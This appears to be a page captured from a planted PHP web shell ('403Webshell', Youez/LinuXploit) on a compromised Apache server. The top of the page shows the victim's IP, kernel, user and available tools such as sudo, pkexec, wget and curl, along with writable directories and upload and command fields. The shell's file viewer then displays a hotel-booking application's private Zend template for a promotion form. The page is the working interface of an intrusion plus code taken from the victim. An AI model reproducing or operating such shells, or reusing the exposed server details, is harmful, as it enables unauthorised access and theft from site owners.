403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/accommodation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/accommodation/black-out.phtml
<?php 
$promotionData = $this->promotionDatabyId;
$promotion_roomtype = $promotion_mealplan = array();
foreach($promotionData as $key => $PromVal){
    $promotion_roomtype[$PromVal['RoomType']] = $PromVal['RoomType'];
    $promotion_mealplan[$PromVal['MealType']] = $PromVal['MealType'];
} 
$MealPlanTypeArr = array(array(6, 'CP/BB'),array(7, 'MAP'),array(8, 'AP'),array(3, 'AI'),array(10, 'Premium AI'));
$hotelDetails = $this->hotelDetails;
if(empty($hotelDetails['RateType'])){
    $MealPlanTypeArr = array(array(9, 'EP'),array(6, 'CP/BB'),array(7, 'MAP'),array(8, 'AP'),array(3, 'AI'),array(10, 'Premium AI'));    
}
$newMealTypeArr = array();
if(isset($this->newMealPlanArr) && ($this->newMealPlanArr!='')){
  foreach ($this->newMealPlanArr as $key => $MealType) {
      foreach ($MealPlanTypeArr as $plan) {
          if ($MealType == $plan[0]) {
            $newMealTypeArr[] = array(
              'id'=>$plan[0],
              'value' => $plan[1],
            );
          }
      }
  }
  } else{
    foreach ($MealPlanTypeArr as $plan) {
      $newMealTypeArr[] = array(
        'id'=>$plan[0],
        'value' => $plan[1],
      );
  }
}
$sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
$IsHotelInventory = $sessionLogin_user->agencyDetails['IsHotelInventory'];
$IsHotelOnlyRates = $sessionLogin_user->agencyDetails['IsHotelOnlyRates'];
?>
 <style>
  [type="radio"]:checked+label,
  [type="radio"]:not(:checked)+label {
    color: #000;
  }

  .mealhead {
    font-size: 14px;
    margin: 2px;
    color: #000;
  }

  #main-container .form-group textarea {
    height: auto;
  }
</style>
<div class="panel with-nav-tabs panel-default itenary_top" ng-init="getAddHotelDetails()">
  <div class="col-md-12"> <?php if(isset($this->hotel_id) && !empty($this->hotel_id)){ ?> 
    <a href="#!/" pages="addhotel" class="btn btn-danger btn-sm btnpadding">Add Hotel</a>
    <a href="#!hotelcontact" pages="hotelcontact" class="btn btn-danger btn-sm btnpadding">Hotel Contact</a>
    <a href="#!hotelfacility" pages="hotelfacility" class="btn btn-danger btn-sm btnpadding">Hotel Facility</a>
    <a href="#!aroundproperty" pages="aroundproperty" class="btn btn-danger btn-sm btnpadding">Around Property</a>
    <a href="#!roomdetails" pages="roomdetails" page="roomdetails" class="btn btn-danger btn-sm btnpadding">Room Details</a>
    <a href="#!tnc" pages="tnc" page="tnc" class="btn btn-danger btn-sm btnpadding">Booking T&C</a>  
    <?php if((!empty($IsHotelInventory) && ($IsHotelInventory==1))){ ?>
<a href="#!mealplanrates" pages="mealplanrates" page="mealplanrates" class="btn btn-danger btn-sm btnpadding">Meal Plan Rates</a>
<a href="/accommodation/rate-card/id/<?php echo $this->hotel_id;?>" pages="roomwiserates" page="roomwiserates" class="btn btn-danger btn-sm btnpadding">Rate Card</a>
<a href="#!promotion" pages="promotion" page="promotion" class="btn btn-warning btn-sm btnpadding">Promotion</a>
<a href="<?php echo $this->baseUrl('accommodation/cancellation/id'); ?>/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" class="btn btn-danger btn-sm btnpadding" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="hotelcontact">Cancellation Policy</a>
<?php } ?>
    <?php }else{  ?> 
    <div class="">
      <h3 class="panel-title">Add Hotel</h3>
    </div> <?php } ?>
  </div>
  <div class="clear"></div>
  <div class="" id="" style="min-height:300px;">
    <div class="tab-content" id="">
      <form class="addupdatePromotion" name="addupdatePromotion" id="addupdatePromotion" action="<?php echo $this->baseUrl('accommodation/addupdatepromotion'); ?>" method="post" enctype="multipart/form-data"> 
      
      <?php if(!empty($this->hotel_id)){ ?> <input type="hidden" name="update_hotel_id" value="<?=$this->hotel_id?>"> <?php } ?> 
      <?php if(!empty($promotionData[0]['AccomPromotionsSysId'])){ ?> <input type="hidden" id="AccomPromotionsSysId" name="AccomPromotionsSysId" value="<?php echo $promotionData[0]['AccomPromotionsSysId'];?>">  <?php } ?>
     <input type="hidden" name="CurrencyType" value="<?php echo !empty($hotelDetails['CurrencyType']) && ($hotelDetails['CurrencyType']>0)?$hotelDetails['CurrencyType']:'';?>">
      <div class="no-padding-left tab-pane fade active in" id="tab1default">
          <div class="panel-body"> 
          <div class="col-md-12 ">
            <div class="row">
            <div class="col-md-4" style="display:none;">
                <div class="box-details">
                  <strong style="font-size: 17px;">Offer Type :</strong>
                  <input type="radio" name="offerType" id="earlybird" value="1" <?php echo (isset($promotionData[0]['OfferType']) && $promotionData[0]['OfferType']==1)?'checked':''?> <?php echo (!isset($promotionData[0]['OfferType']))?'checked':''?>>
                  <label for="earlybird">Early Bird</label>
                  <input type="radio" name="offerType" id="lastMinute" value="2" <?php echo (isset($promotionData[0]['OfferType']) && $promotionData[0]['OfferType']==2)?'checked':''?>>
                  <label for="lastMinute">Last Minute</label>
                </div>
              </div>
                <div class="col-md-4">
                <div class="form-group active">
                  <label>Hotel Name </label>
                  <input value="<?=trim($hotelDetails['Title']) ?>" type="text" class="form-control whbg hotelname" name="hotelname" id="hotelname" readonly>
                  <input type="hidden" name="hotel_id" value="<?=$this->hotel_id?>"> 
                </div>
              </div>
              <div class="col-md-4">
                <div class="form-group active">
                  <label>Room type <span class="red">*</span></label>
                  <select id="RoomType" name="RoomType[]"  class="demo-default select-theme" multiple required>
                    <option>select</option>
                  <?php foreach($this->RoomDetailsList as $key => $RoomTypevalue){ 
                    $RoomTypeID = $RoomTypevalue['room']['ItemSysId'];
                    $selected = in_array($RoomTypeID,$promotion_roomtype)?'selected':'';
                    ?>
                  <option value="<?php echo $RoomTypeID;?>" <?php echo $selected;?>><?php echo $RoomTypevalue['room']['RoomType'];?></option>
                  <?php } ?>
                  </select>
                </div>
              </div>
              <div class="col-md-4">
                <div class="form-group active">
                  <label>Meal Plans <?php echo ($hotelDetails['RateType']==0)?'<span class="red">*</span> ':''?></label>
                  <select id="MealType" name="MealType[]"  class="demo-default select-theme" multiple>
                    <option>select</option>
                  <?php foreach($newMealTypeArr as $key => $MealTypeValue){ 
                 $selected = in_array($MealTypeValue['id'],$promotion_mealplan)?'selected':'';?>
                    <option value="<?php echo $MealTypeValue['id'];?>" <?php echo $selected;?>><?php echo $MealTypeValue['value'];?></option>
                 <?php } ?>
                  </select>
                </div>
              </div>
                 
              
              <div class="col-md-4">
                <div class="form-group active">
                  <label>Promotion Name <span class="red">*</span>
                  </label>
                  <input value="<?php echo isset($promotionData[0]['PromotionName']) && ($promotionData[0]['PromotionName']!='')?$promotionData[0]['PromotionName']:'';?>" type="text" class="form-control whbg" name="PromotionName" id="PromotionName">
                </div>
              </div>
              <div class="col-md-4">
                <div class="form-group active">
                  <label>Promotion Code <span class="red">*</span>
                  </label>
                  <input value="<?php echo isset($promotionData[0]['PromotionCode']) && ($promotionData[0]['PromotionCode']!='')?$promotionData[0]['PromotionCode']:'';?>" type="text" class="form-control whbg" name="PromotionCode" id="PromotionCode">
                </div>
              </div>
      
              <div class="col-md-12 mb-30">
                <div class="form-group active">
                  <label>Description
                  </label>
                  <textarea class="form-control" rows="5" name="Description" id="Description"><?php echo isset($promotionData[0]['Description']) && ($promotionData[0]['Description']!='')?$promotionData[0]['Description']:'';?></textarea>
                </div>
              </div>
            <div class="col-md-12 no-padding">
              <div class="col-md-3">
                <div class="form-group active">
                  <label>Booking From Date<span class="red">*</span>
                  </label>
                  <input value="<?php echo isset($promotionData[0]['FromBookingDate']) && ($promotionData[0]['FromBookingDate']!='')?$promotionData[0]['FromBookingDate']->format('d/m/Y'):'';?>" type="text" class="form-control whbg" name="FromBookingDate" id="FromBookingDate" autocomplete="off">
                </div>
              </div>
              <div class="col-md-3">
                <div class="form-group active">
                  <label>Booking To Date<span class="red">*</span>
                  </label>
                  <input value="<?php echo isset($promotionData[0]['ToBookingDate']) && ($promotionData[0]['ToBookingDate']!='')?$promotionData[0]['ToBookingDate']->format('d/m/Y'):'';?>" type="text" class="form-control whbg" name="ToBookingDate" id="ToBookingDate" autocomplete="off">
                </div>
              </div>
            </div>
              <div class="col-md-12 no-padding">
              <div class="col-md-2">
                <div class="form-group">
                <label class="checkbox_popup leftsidearea checkbox_width_auto" title="Content Active">
                  <input type="checkbox" class="icheck-green" name="IsStayPeriod" id="IsStayPeriod" <?php echo isset($promotionData[0]['IsStayPeriod']) && ($promotionData[0]['IsStayPeriod']==1)?'checked':'';?>>
                  Stay Period<span class="checkmark"></span>
                </label>
                </div>
              </div>
              <div id="stayperiodHtml" style="display:<?php echo isset($promotionData[0]['IsStayPeriod']) && ($promotionData[0]['IsStayPeriod']==1)?'block':'none';?>">
              <div class="col-md-2">
                <div class="form-group active">
                  <label>Stay From Date</label>
                  <input value="<?php echo isset($promotionData[0]['FromStayPeriod']) && ($promotionData[0]['FromStayPeriod']==1) && ($promotionData[0]['FromStayPeriod']->format('d-m-Y')!='01-01-1900')?$promotionData[0]['FromStayPeriod']->format('d/m/Y'):'';?>" type="text" class="form-control whbg" name="FromStayPeriod" id="FromStayPeriod" autocomplete="off">
                </div>
              </div>
              <div class="col-md-2">
                <div class="form-group active">
                  <label>Stay To Date</label>
                  <input value="<?php echo isset($promotionData[0]['ToStayPeriod']) && ($promotionData[0]['ToStayPeriod']==1) && ($promotionData[0]['ToStayPeriod']->format('d-m-Y')!='01-01-1900')?$promotionData[0]['ToStayPeriod']->format('d/m/Y'):'';?>" type="text" class="form-control whbg" name="ToStayPeriod" id="ToStayPeriod" autocomplete="off">
                </div>
              </div>
            </div>
            </div>
            <div class="col-md-12 no-padding">
            <div class="col-md-2">
                <div class="form-group">
                <label class="checkbox_popup leftsidearea checkbox_width_auto" title="Content Active">
                  <input type="checkbox" class="icheck-green" name="IsNight" id="IsNight" <?php echo isset($promotionData[0]['IsNight']) && ($promotionData[0]['IsNight']==1)?'checked':'';?>>
                  Night<span class="checkmark"></span>
                </label>
                </div>
              </div>
              <div id="nightHtml" style="display:<?php echo isset($promotionData[0]['IsNight']) && ($promotionData[0]['IsNight']==1)?'block':'none';?>">
              <div class="col-md-2">
                <div class="form-group active">
                  <label>Min Night </label>
                  <input value="<?php echo isset($promotionData[0]['MinNight']) && ($promotionData[0]['MinNight']!='')?$promotionData[0]['MinNight']:'';?>" type="number" class="form-control whbg" name="MinNight" id="MinNight" autocomplete="off">
                </div>
              </div>
              <div class="col-md-2">
                <div class="form-group active">
                  <label>Max Night </label>
                  <input value="<?php echo isset($promotionData[0]['MaxNight']) && ($promotionData[0]['MaxNight']!='')?$promotionData[0]['MaxNight']:'';?>" type="number" class="form-control whbg" name="MaxNight" id="MaxNight" autocomplete="off">
                </div>
              </div>
              </div>
             
            </div>
            <div class="col-md-12 no-padding">
            <div class="col-md-2">
                <div class="form-group">
                <label class="checkbox_popup leftsidearea checkbox_width_auto" title="Content Active">
                  <input type="checkbox" class="icheck-green" name="IsMinRoom" id="IsMinRoom" <?php echo isset($promotionData[0]['IsMinRoom']) && ($promotionData[0]['IsMinRoom']==1)?'checked':'';?>>
                  Room<span class="checkmark"></span>
                </label>
                </div>
              </div>
              <div id="roomhtml" style="display:<?php echo isset($promotionData[0]['IsMinRoom']) && ($promotionData[0]['IsMinRoom']==1)?'block':'none';?>">
              <div class="col-md-2">
                <div class="form-group active">
                  <label>Min Room
                  </label>
                  <input value="<?php echo isset($promotionData[0]['IsMinRoom']) && ($promotionData[0]['MinRoom']!='')?$promotionData[0]['MinRoom']:'';?>" type="number" class="form-control whbg" name="MinRoom" id="MinRoom">
                </div>
              </div>
              </div>
            </div>
            <div class="col-md-12 no-padding">
            <div class="col-md-3">
                <div class="form-group active">
                  <label>Discount Type<span class="red">*</span>
                  </label>
                  <select name="PromotionType" id="PromotionType">
                    <option value="1" <?php echo isset($promotionData[0]['PromotionType']) && ($promotionData[0]['PromotionType']==1)?'selected':'';?>>Fixed</option>
                    <option value="2" <?php echo isset($promotionData[0]['PromotionType']) && ($promotionData[0]['PromotionType']==2)?'selected':'';?>>Percentage</option>
                  </select>
                </div>
              </div>
              <div class="col-md-3 DiscountTypeHtml DiscountTypeHtml1">
                <div class="form-group active">
                  <label for="PromotionTypelabel">
                  <?php if(isset($promotionData[0]['PromotionType'])){
                    if($promotionData[0]['PromotionType']==1){
                      echo "Fixed";
                    } else{
                      echo "Percentage";
                    }

                  } else {
                    echo "Fixed";
                  } ?>
                <span class="red">*</span></label>
                  <input value="<?php echo isset($promotionData[0]['PromotionValue']) && ($promotionData[0]['PromotionValue']!='')?$promotionData[0]['PromotionValue']:'';?>" type="text" class="form-control whbg" name="PromotionValue" id="PromotionValue">
                </div>
              </div>
            </div>
            <div class="col-md-12 no-padding">
            <div class="col-md-3">
                <div class="form-group active">
                  <label>Display <span class="red">*</span>
                  </label>
                  <select name="IsDisplay" id="IsDisplay">
                    <option value="1" <?php echo isset($promotionData[0]['IsDisplay']) && ($promotionData[0]['IsDisplay']==1)?'selected':'';?>>Display</option>
                    <option value="0" <?php echo isset($promotionData[0]['IsDisplay']) && ($promotionData[0]['IsDisplay']==0)?'selected':'';?>>Hide</option>
                  </select>
                </div>
              </div>
              <div class="col-md-3">
                <div class="form-group active">
                  <label>Status <span class="red">*</span>
                  </label>
                  <select name="IsActive" id="IsActive">
                    <option value="1" <?php echo isset($promotionData[0]['IsActive']) && ($promotionData[0]['IsActive']==1)?'selected':'';?>>Active</option>
                    <option value="0" <?php echo isset($promotionData[0]['IsActive']) && ($promotionData[0]['IsActive']==0)?'selected':'';?>>Inactive</option>
                  </select>
                </div>
              </div>
            </div>
                <div class="clearfix"></div>  
            <div class="panel-footer text-right">
              <a href="<?php echo $this->baseUrl('accommodation/manage'); ?>" class="btn btn-primarygray btn-sm">Cancel </a>
              <button type="submit" class="btn btn-primary saveaction" id="save-overview">Save</button>
              <div id="message__yes"></div>
            </div>
            </div>
          </div>
          </div>
          </div>
        </div>
      </form>

<script src="<?php echo $this->baseUrl(); ?>/public/js/hotel/accommodation.js"></script>
<script src="<?php echo $this->baseUrl('public/js/jquery.validate.min.js'); ?>"></script>
<script src="<?php echo $this->baseUrl('public/assets/js/summernote.min.js'); ?>"></script>
<script src="<?php echo $this->baseUrl('public/assets/js/selectize.min.js'); ?>"></script>
<script src="<?php echo $this->baseUrl('public/assets/js/pages/selectTag.js'); ?>"></script>
      <script>

$('#PromotionType').on('change',function(){
    var PromotionType =   $(this).val();
  if(PromotionType==1){
    $("label[for = PromotionTypelabel]").html("Fixed <span class='red'>*</span>");
  } else{
    $("label[for = PromotionTypelabel]").html("Percentage <span class='red'>*</span>");
  }   
});

$('#IsMinRoom').on('change',function(){
  if ($("#IsMinRoom").is(":checked") == true) { 
    $('#roomhtml').show();
    $('#MinRoom').val('<?php echo isset($promotionData[0]['MinRoom']) && ($promotionData[0]['MinRoom']!='')?$promotionData[0]['MinRoom']:'';?>'); 
  } else { 
    $('#roomhtml').hide();
   $('#MinRoom').val('');
}   
});
$('#IsNight').on('change',function(){
  if ($("#IsNight").is(":checked") == true) { 
    $('#nightHtml').show();
    $('#MinNight').val('<?php echo isset($promotionData[0]['MinNight']) && ($promotionData[0]['MinNight']!='')?$promotionData[0]['MinNight']:'';?>'); 
    $('#MaxNight').val('<?php echo isset($promotionData[0]['MaxNight']) && ($promotionData[0]['MaxNight']!='')?$promotionData[0]['MaxNight']:'';?>'); 
  } else { 
    $('#nightHtml').hide();
   $('#MinNight').val(''); 
   $('#MaxNight').val(''); 
}   
});

$('#IsStayPeriod').on('change',function(){
  if ($("#IsStayPeriod").is(":checked") == true) {
    $('#stayperiodHtml').show();
    $('#FromStayPeriod').val('<?php echo isset($promotionData[0]['FromStayPeriod']) && ($promotionData[0]['FromStayPeriod']!='' ) && ($promotionData[0]['FromStayPeriod']->format('d-m-Y')!='01-01-1900')?$promotionData[0]['FromStayPeriod']->format('d/m/Y'):'';?>'); 
    $('#ToStayPeriod').val('<?php echo isset($promotionData[0]['ToStayPeriod']) && ($promotionData[0]['ToStayPeriod']!='') && ($promotionData[0]['ToStayPeriod']->format('d-m-Y')!='01-01-1900')?$promotionData[0]['ToStayPeriod']->format('d/m/Y'):'';?>'); 
  } else { 
    $('#stayperiodHtml').hide();
   $('#FromStayPeriod').val(''); 
   $('#ToStayPeriod').val(''); 
}   
});


$().ready(function() {
          $('#FromBookingDate').datetimepicker({
            format: 'd/m/Y',
            timepicker: false,
            minDate: 0,
          });
          $('#ToBookingDate').datetimepicker({
            format: 'd/m/Y',
            timepicker: false,
            minDate: 0,
          });
          $('#FromStayPeriod').datetimepicker({
            format: 'd/m/Y',
            timepicker: false,
            minDate: 0,
          });
          $('#ToStayPeriod').datetimepicker({
            format: 'd/m/Y',
            timepicker: false,
            minDate: 0,
          });
  });

        $('#addupdatePromotion').on('submit',function (e) {
        e.preventDefault();
        if($('#addupdatePromotion input[name="PromotionName"]').val().trim() === ''){
                $('#addupdatePromotion input[name="PromotionName"]').focus();return false;
            }
            if($('#addupdatePromotion input[name="PromotionCode"]').val().trim() === ''){
                $('#addupdatePromotion input[name="PromotionCode"]').focus();return false;
            }
            if($('#addupdatePromotion input[name="FromBookingDate"]').val().trim() === ''){
                $('#addupdatePromotion input[name="FromBookingDate"]').focus();return false;
            }
            if($('#addupdatePromotion input[name="ToBookingDate"]').val().trim() === ''){
                $('#addupdatePromotion input[name="ToBookingDate"]').focus();return false;
            }
            if($('#addupdatePromotion input[name="IsStayPeriod"]').is(':checked')) {
            if($('#addupdatePromotion input[name="FromStayPeriod"]').val().trim() === ''){
                $('#addupdatePromotion input[name="FromStayPeriod"]').focus();return false;
            }
            if($('#addupdatePromotion input[name="ToStayPeriod"]').val().trim() === ''){
                $('#addupdatePromotion input[name="ToStayPeriod"]').focus();return false;
            }
        }
        if($('#addupdatePromotion input[name="IsNight"]').is(':checked')) {
            if($('#addupdatePromotion input[name="MinNight"]').val().trim() === ''){
                $('#addupdatePromotion input[name="MinNight"]').focus();return false;
            }
            if($('#addupdatePromotion input[name="MaxNight"]').val().trim() === ''){
                $('#addupdatePromotion input[name="MaxNight"]').focus();return false;
            }
        }
        if($('#addupdatePromotion input[name="IsMinRoom"]').is(':checked')) {
            if($('#addupdatePromotion input[name="MinRoom"]').val().trim() === ''){
                $('#addupdatePromotion input[name="MinRoom"]').focus();return false;
            }
        }
        if($('#addupdatePromotion input[name="PromotionValue"]').val().trim() === ''){
                $('#addupdatePromotion input[name="PromotionValue"]').focus();return false;
            }
        var data = $(this).serialize();
        $.ajax({
            url  : '/accommodation/add-hotel-promotion',
            type: 'POST',
            data: data,
            dataType: 'json',
            beforeSend: function(){ $('.saveaction').html('Please wait..');},
            success:function(result){
                if(result.success){
                    $('#message__yes').html("<font color='green'>Promotion Added Successfully</font>");
                    $('.saveaction').html('Save');   
                    window.location.href = '/accommodation/add-hotels/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>/#!/promotion';
                } else{
                    $('.saveaction').html('Save');
                    alert(result.message);
                }
            },
            error:function(){
                $('.saveaction').html('Save');
                alert('Hotel Promotion response error');
            }

        });
    });
      </script>
    </div>
  </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit